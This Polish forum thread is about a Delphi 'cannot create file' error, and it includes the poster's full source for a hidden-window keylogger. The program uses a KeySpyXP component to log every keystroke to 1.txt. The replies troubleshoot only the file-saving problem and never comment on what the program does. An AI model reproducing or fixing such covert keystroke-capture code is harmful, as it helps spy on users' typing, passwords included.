Mam problem mam program który zapisuje Memo1.Lines.SaveToFole('1.txt'), po włączeniu wyświetla mi się komunikat cannot create file 1.txt. Plik ten już jest.
To go skasuj najpierw.
To nic nie daje
to go (plik) zapisz w takim katalogu, co do którego jesteś pewien, że się da. bo jeśli odpalisz program z cd-romu, to za chiny ludowe nie zapiszesz na płycie tego pliku.
no chyba, że ręcznie wyrzeźbisz.
aha - SaveToFile, nie SaveToFole
Mam go na pulpicie i tak nie działa może to wina skryptu??
A może plik ten posiada jakiś niekorzystne atrybuty (np. ReadOnly)?
a może masz folder 1.txt to wtedy się nie da pliku o tej nazwie zrobić, chociaż nie wiem kto daje folderom rozszerzenie ale może wcześniej w kodzie się pomyliłeś i chciałeś zrobić coś z tym plikiem a wstawiłeś MkDir('1.txt') ;P
Mam go na pulpicie i tak nie działa może to wina skryptu??
Jakiego skryptu?
Oto kod, może w nim coś nie tak
unit program;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, KeySpyXP;
type
Tjohnny = class(TForm)
KeySpyXP1: TKeySpyXP;
Memo1: TMemo;
procedure KeySpyXP1Key(Sender: TObject; key: String);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
johnny: Tjohnny;
plik:TextFile;
implementation
{$R *.dfm}
procedure Tjohnny.KeySpyXP1Key(Sender: TObject; key: String);
begin
memo1.text:=memo1.text+key;
Memo1.Lines.SaveToFile('1.txt');
end;
procedure Tjohnny.FormCreate(Sender: TObject);
begin
application.ShowMainForm:=false;
memo1.lines.loadfromfile('1.txt');
end;
end.
Wygląda, że wszystko okej, ale podejrzana jest dla mnie zmienna plik:TextFile;, może nie umieściłeś całego kodu, a potem assignowany jest pod tą zmienną właśnie plik 1.txt i jest otwierany, a nie zamknięty.
nie wiem co to jest:
KeySpyXP1Key
ale jeśli to się wywołuje jak OnKeyDown np i wciskasz coś szybko to może kilka razy próbuje się zapisać w pliku i jeszcze nie zdążyło w poprzednim wątku zamknąć pliku czy coś w ten deseń :-/
proszę, dajcie sobie już z tym spokój - 10 odpowiedzi na pytanie jak zapisać plik. niech sobie kolega skorzysta z debugera i sam znajdzie byka, przy okazji sam się wiele nauczy.